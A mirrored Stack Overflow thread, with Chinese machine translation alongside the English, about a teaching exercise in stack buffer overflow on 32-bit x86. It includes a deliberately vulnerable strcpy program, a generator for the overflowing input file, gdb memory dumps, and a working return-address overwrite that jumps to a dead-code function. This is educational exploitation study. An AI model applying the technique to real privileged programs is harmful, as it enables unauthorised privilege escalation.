简体   繁体   English

如何实现缓冲区溢出

[英]How to implement a buffer overflow

I am trying to use a buffer overflow to gain access to the root user (purely for educational purposes)我正在尝试使用缓冲区溢出来访问 root 用户(纯粹出于教育目的)

I have written the following code to write the needed input to a bad file我编写了以下代码将所需的输入写入错误文件

int main(int argc, char **argv) {
    char buffer[512];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, 512);

    /*First 20 characters for buffer*/
    strcpy(buffer, "a b c d e f g h i j ");

    /*Over write the next 8 characters*/
    strcat(buffer, "a b c d ");

    /*Overwrite return address*/
    strcat(buffer, argv[1]);

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 512, 1, badfile);
    fclose(badfile);
}

And this is the code that should be executed by the program with root access这是应该由具有root访问权限的程序执行的代码

int bof(char *str){
    char buffer[20];

    /* The following allows buffer overflow */ 
    strcpy(buffer, str);

    return 1;
  }


int main(int argc, char **argv) {
    char str[BSIZE];
    FILE *badfile;
    char *badfname = "badfile";

    badfile = fopen(badfname, "r");
    fread(str, sizeof(char), BSIZE, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

I want the input read from badfile to change the return address of bof so that it will instead return to code that I have also written into the bad file input.我希望从 badfile 读取的输入更改 bof 的返回地址,以便它返回到我也已写入错误文件输入的代码。 However I am just getting seg faults with my current code.但是,我的当前代码只是遇到了段错误。 I know that this means I am writing my new return address to the wrong part of memory but I am unsure how to find the correct place to write too.我知道这意味着我将新的返回地址写入内存的错误部分,但我不确定如何找到正确的写入位置。 I am running on a 32 bit Virtual Machine and have included the gdb disassemble of the second piece of code我在 32 位虚拟机上运行,​​并包含了第二段代码的 gdb 反汇编

Dump of assembler code for function main:
0x080484d6 <main+0>:    lea    0x4(%esp),%ecx
0x080484da <main+4>:    and    $0xfffffff0,%esp
0x080484dd <main+7>:    pushl  -0x4(%ecx)
0x080484e0 <main+10>:   push   %ebp
0x080484e1 <main+11>:   mov    %esp,%ebp
0x080484e3 <main+13>:   push   %ecx
0x080484e4 <main+14>:   sub    $0x224,%esp
0x080484ea <main+20>:   movl   $0x8048623,-0x8(%ebp)
0x080484f1 <main+27>:   movl   $0x804862b,0x4(%esp)
0x080484f9 <main+35>:   mov    -0x8(%ebp),%eax
0x080484fc <main+38>:   mov    %eax,(%esp)
0x080484ff <main+41>:   call   0x80483a0 <fopen@plt>
0x08048504 <main+46>:   mov    %eax,-0xc(%ebp)
0x08048507 <main+49>:   mov    -0xc(%ebp),%eax
0x0804850a <main+52>:   mov    %eax,0xc(%esp)
0x0804850e <main+56>:   movl   $0x200,0x8(%esp)
0x08048516 <main+64>:   movl   $0x1,0x4(%esp)
0x0804851e <main+72>:   lea    -0x20c(%ebp),%eax
0x08048524 <main+78>:   mov    %eax,(%esp)
0x08048527 <main+81>:   call   0x80483e0 <fread@plt>
0x0804852c <main+86>:   lea    -0x20c(%ebp),%eax
0x08048532 <main+92>:   mov    %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x08048535 <main+95>:   call   0x80484a4 <bof>
0x0804853a <main+100>:  movl   $0x804862d,(%esp)
0x08048541 <main+107>:  call   0x80483d0 <puts@plt>
0x08048546 <main+112>:  mov    $0x1,%eax
0x0804854b <main+117>:  add    $0x224,%esp
0x08048551 <main+123>:  pop    %ecx
0x08048552 <main+124>:  pop    %ebp
0x08048553 <main+125>:  lea    -0x4(%ecx),%esp
0x08048556 <main+128>:  ret    
End of assembler dump.
(gdb) 
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484a4 <bof+0>: push   %ebp
0x080484a5 <bof+1>: mov    %esp,%ebp
0x080484a7 <bof+3>: sub    $0x28,%esp
0x080484aa <bof+6>: mov    0x8(%ebp),%eax
0x080484ad <bof+9>: mov    %eax,0x4(%esp)
0x080484b1 <bof+13>:    lea    -0x14(%ebp),%eax
0x080484b4 <bof+16>:    mov    %eax,(%esp)
0x080484b7 <bof+19>:    call   0x80483b0 <strcpy@plt>
0x080484bc <bof+24>:    lea    -0x14(%ebp),%eax
0x080484bf <bof+27>:    mov    %eax,0x4(%esp)
0x080484c3 <bof+31>:    movl   $0x8048620,(%esp)
0x080484ca <bof+38>:    call   0x80483c0 <printf@plt>
0x080484cf <bof+43>:    mov    $0x1,%eax
0x080484d4 <bof+48>:    leave  
0x080484d5 <bof+49>:    ret    
End of assembler dump.
  1. disclaimer:免责声明:

    I am using Window 7 with gcc-4.8.3 (from http://mingw-w64.org/doku.php ), along with gdb version 7.8 (also from http://mingw-w64.org/doku.php ).我正在使用带有 gcc-4.8.3(来自http://mingw-w64.org/doku.php )的 Window 7,以及 gdb 版本 7.8(也来自http://mingw-w64.org/doku.php ) . Additionally, Windows 7 doesn't appear to have ASLR as when I run this small test program:此外,当我运行这个小测试程序时,Windows 7 似乎没有 ASLR:

     #include <stdio.h> unsigned long find_start(void) { __asm__("movl %esp, %eax"); } int main() { printf("0x%X\\n", find_start(); return (0); }

    I get the same memory locations, as shown below:我得到相同的内存位置,如下所示:

     Q:\\>find_addr1 0x28fea8 Q:\\>find_addr1 0x28fea8 Q:\\>find_addr1 0x28fea8

    This program is taken from "The Shellcoder's Handbook:Discovering and Exploiting Security Holes" by Chris Anley et.该程序取自 Chris Anley 等人的“The Shellcoder's Handbook:Discovering and Exploiting Security Holes” al.阿尔。 , which comments: "..if you notice that the address the program prints out is different each time, it probably means you're running a distribution with the grsecurity patch, or something similar." ,其中评论道:“..如果您注意到程序每次打印出的地址都不同,则可能意味着您正在运行带有 grsecurity 补丁或类似内容的发行版。” If you do have different addresses, it will make reproducing the following more difficult.如果您确实有不同的地址,那么复制以下内容将更加困难。 For example, running on my Ubuntu-14.04 LTS system, I get the following:例如,在我的 Ubuntu-14.04 LTS 系统上运行,我得到以下信息:

     ubuntu:~/projects$ ./find_addr 0x4F5AF640 ubuntu:~/projects$ ./find_addr 0xCE71D3B0 ubuntu:~/projects$ ./find_addr 0xD4A21710

OK, now that the preliminaries are out of the way, on to your example.好的,现在预赛已经结束,继续你的例子。 So using your code to generate 'badfile`, I created this file:因此,使用您的代码生成“badfile”,我创建了此文件:

    Q:\SE_test>genFile 0x43434343
    Q:\SE_test>more badfile
    a b c d e f g h i j a b c d 0x43434343ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
    Q:\SE_test>

Now, let's run you vulnerable program under GDB, and stop right before the call to bof .现在,让我们在 GDB 下运行易受攻击的程序,并在调用bof之前停止。 The disassembly at this point looks like this:此时的反汇编如下所示:

       0x004015db <+92>:    call   0x4027b8 <fread>
    => 0x004015e0 <+97>:    lea    0x18(%esp),%eax
       0x004015e4 <+101>:   mov    %eax,(%esp)
       0x004015e7 <+104>:   call   0x401560 <bof>
       0x004015ec <+109>:   movl   $0x40402e,(%esp)

At this point we can look at some values of interest.在这一点上,我们可以查看一些感兴趣的值。 First, note the address of the instruction after the call to bof ( 0x004015ec ), we will need that later.首先,注意调用bof ( 0x004015ec ) 之后的指令地址,我们稍后会用到它。 Secondly, we can examine some significant variables and registers:其次,我们可以检查一些重要的变量和寄存器:

    (gdb) print str
    $1 = "a b c d e f g h i j a b c d 0x43434343\000", '\220' <repeats 473 times>
    (gdb) print $ebp
    $2 = (void *) 0x28fec8
    (gdb) print $esp
    $3 = (void *) 0x28fca0

So, we now know in memory where the activation frame for main is found, as well as verifying that you have read the string in correctly.因此,我们现在知道在内存中找到main的激活帧的位置,并验证您是否正确读取了字符串。 Looking at the value of string, I do see two things that may cause problems later;查看 string 的值,我确实看到了以后可能会导致问题的两件事;

  1. Notice the null terminator (\\000) embedded in the string?注意到嵌入在字符串中的空终止符 (\\000) 了吗? This will cause the string copy in bof to stop.这将导致bof的字符串复制停止。 We still should get a buffer overflow.我们仍然应该得到缓冲区溢出。 Just something to be aware of in shell-code we can't have 0x00 bytes and expect to use string-processing functions.在 shell 代码中需要注意的是,我们不能有 0x00 字节并期望使用字符串处理函数。

  2. Notice that address that I entered (0x43434343) shows up as text and not an address.请注意,我输入的地址 (0x43434343) 显示为文本而不是地址。 This is, from what I can tell, a consequence of using Windows;据我所知,这是使用 Windows 的结果; however we can still see where we are writing to memory and check if things are going in the correct place.但是我们仍然可以看到我们正在写入内存的位置并检查事情是否在正确的地方进行。

Now we can step into bof and see what we have:现在我们可以进入bof看看我们有什么:

     (gdb) s
     bof (str=0x28fcb8 "a b c d e f g h i j a b c d 0x43434343") at overflow1.c:13
     13     strcpy(buffer, str);
     (gdb) print $esp
     $5 = (void *) 0x28fc60
     (gdb) print $ebp
     $6 = (void *) 0x28fc98
     (gdb) x/80xb 0x28fc60
     0x28fc60:  0x00    0x02    0x00    0x00    0x50    0xfc    0x28    0x00
     0x28fc68:  0x60    0x29    0x76    0x76    0xc4    0xff    0x28    0x00
     0x28fc70:  0xd5    0x8c    0x6e    0x76    0xc7    0x1f    0xa9    0x74
     0x28fc78:  0xfe    0xff    0xff    0xff    0x6f    0xf4    0x6d    0x76
     0x28fc80:  0xe0    0xf3    0x6d    0x76    0xb8    0xfc    0x28    0x00
     0x28fc88:  0xff    0xff    0xff    0xff    0x01    0x00    0x00    0x00
     0x28fc90:  0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76
     0x28fc98:  0xc8    0xfe    0x28    0x00    0xec    0x15    0x40    0x00
     0x28fca0:  0xb8    0xfc    0x28    0x00    0x01    0x00    0x00    0x00
     0x28fca8:  0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76

At this point, we are starting to get a feeling for how memory is laid out, and we can look at the contents of the memory as well.此时,我们开始了解内存是如何布局的,我们也可以查看内存的内容。 What is particularly interesting are the values located at memory locations 0x28fc9c and 0x28fca0 which I have entered into the diagram below:特别有趣的是我在下图中输入的位于内存位置0x28fc9c0x28fca0的值:

      address          contents      
                     +------------+
       0x28fec8      |            |   <-- base pointer for main's stack frame
                     +------------+
                     |            |
                     ~            ~ 
                     ~            ~
                     |            |
                     +------------+
      0x28fca0       | 0x0028fcb8 |   <-- stack pointer for main's stack frame
                     +------------+
      0x28fc9c       | 0x004015ec |   <--- stored eip
                     +------------+
      0x28fc98       | 0x0028fec8 |   <-- base pointer for bof's stack frame
                     +------------+
                     |            |
                     ~            ~ 
                     ~            ~
                     |            |
                     +------------+
      0x28fc60       |            |   <-- stack pointer for bof's stack frame
                     +------------+

Looking at the disassembly of main we can see that the next instruction after the call to bof is located at 0x004015ec , which we can see has been pushed on the stack at memory location 0x0028fc9c .查看 main 的反汇编,我们可以看到调用bof之后的下一条指令位于0x004015ec ,我们可以看到它已被压入堆栈中的内存位置0x0028fc9c

Now that this analysis is done, we can execute the string copy and then look at memory again and see what we've done (remembering that 'a' has an ASCII value of 0x61 and that space has an ASCII value of 0x20).现在分析已经完成,我们可以执行字符串副本,然后再次查看内存,看看我们做了什么(记住“a”的 ASCII 值为 0x61,而该空间的 ASCII 值为 0x20)。 As a point of reference we can see that the buffer in bof is located at a memory address of 0x000x28fc7c作为参考,我们可以看到bof中的buffer位于内存地址0x000x28fc7c

  (gdb) x/80xb 0x28fc60
  0x28fc60: 0x7c    0xfc    0x28    0x00    0xb8    0xfc    0x28    0x00
  0x28fc68: 0x60    0x29    0x76    0x76    0xc4    0xff    0x28    0x00
  0x28fc70: 0xd5    0x8c    0x6e    0x76    0xc7    0x1f    0xa9    0x74
  0x28fc78: 0xfe    0xff    0xff    0xff    0x61    0x20    0x62    0x20
  0x28fc80: 0x63    0x20    0x64    0x20    0x65    0x20    0x66    0x20
  0x28fc88: 0x67    0x20    0x68    0x20    0x69    0x20    0x6a    0x20
  0x28fc90: 0x61    0x20    0x62    0x20    0x63    0x20    0x64    0x20
  0x28fc98: 0x30    0x78    0x34    0x33    0x34    0x33    0x34    0x33
  0x28fca0: 0x34    0x33    0x00    0x00    0x01    0x00    0x00    0x00
  0x28fca8: 0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76

We are particularly interested in the region around where the stored eip is located at:我们对存储的eip所在的区域特别感兴趣:

  0x28fca8:  0x00   0x02    0x00    0x00
  0x28fca4:  0x01   0x00    0x00    0x00
  0x28fca0:  0x34   0x33    0x00    0x00
  0x28fc9c:  0x34   0x33    0x34    0x33
  0x28fc98:  0x30   0x78    0x34    0x33   

From this it looks like the first part of what I entered as a command line argument (0x43) is overwriting ebp for bof .由此看来,我作为命令行参数(0x43)输入的内容的第一部分正在覆盖bof ebp From this I would suspect that you need to add four more bytes into your string prior to writing out the new address.由此我怀疑在写出新地址之前,您需要在字符串中再添加四个字节。 Also, you probably need to check to make sure the your command line argument is being treated correctly.此外,您可能需要检查以确保您的命令行参数得到正确处理。

As a test of this, I modified your two programs a bit to this:作为对此的测试,我对您的两个程序进行了一些修改:

First, the program to generate the bad file was modified to this:首先,生成坏文件的程序修改为:

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  int main(int argc, char **argv)
  {
      char buffer[512];
      FILE *badfile;
      int  ndx;

      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(buffer, 0x90, 512);

     /*First n-characters for buffer*/
     for(ndx = 0; ndx < atoi(argv[1]); ndx++)
         buffer[ndx] = 'A';

    /*Overwrite return address*/
    buffer[ndx++] = 0x7f;
    buffer[ndx++] = 0x15;
    buffer[ndx++] = 0x40;
    buffer[ndx++] = 0x00;

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 512, 1, badfile);
    fclose(badfile);
    return 0;
  }

Your command line argument now allows you to enter the number of bytes to write out to the file prior to writing your new return address.您的命令行参数现在允许您在写入新的返回地址之前输入要写出到文件的字节数。 I also modified your vulnerable program to look like this:我还修改了您的易受攻击的程序,如下所示:

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  #define BSIZE 512

  int bof(char *str)
  {
       char buffer[20];

       /* The following allows buffer overflow */ 
       strcpy(buffer, str);

       return 1;
  }

  void output()
  {
       printf("We should never see this\n");
       exit(1);
  }

  int main(int argc, char **argv)
  {
      char str[BSIZE];
      FILE *badfile;
      char *badfname = "badfile";

      badfile = fopen(badfname, "r");
      fread(str, sizeof(char), BSIZE, badfile);
      bof(str);

      printf("Returned Properly\n");
      return 0;
  }

Notice that output is effectively dead-code, however doing a quick disassembly, I can find that output starts at 0x0040157f .请注意, output实际上是死代码,但是进行快速反汇编,我可以发现output0x0040157f开始。 This is the value that I entered into the buffer in the genFile code above.这是我在上面的 genFile 代码中输入到缓冲区的值。 Now for a couple of test cases:现在有几个测试用例:

    Q:\SE_test>gcc -ansi -pedantic -Wall genFile.c -o genFile

    Q:\SE_test>gcc -ansi -pedantic -Wall overflow1.c -o overflow1

    Q:\SE_test>genFile 28

    Q:\SE_test>overflow1
    Returned Properly (see note below)

    Q:\SE_test>genFile 32

    Q:\SE_test>overflow1
    We should never see this

    Q:\SE_test>

Note: In the first run, even though the program displayed "Returned Properly", the program did crash and windows displayed the "This program has stopped working dialog".注意:在第一次运行时,即使程序显示“正确返回”,程序也确实崩溃了,窗口显示“此程序已停止工作对话框”。

Hope this helps, if you have any other questions, please ask.希望对你有帮助,如有其他问题,请追问。 T. T。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM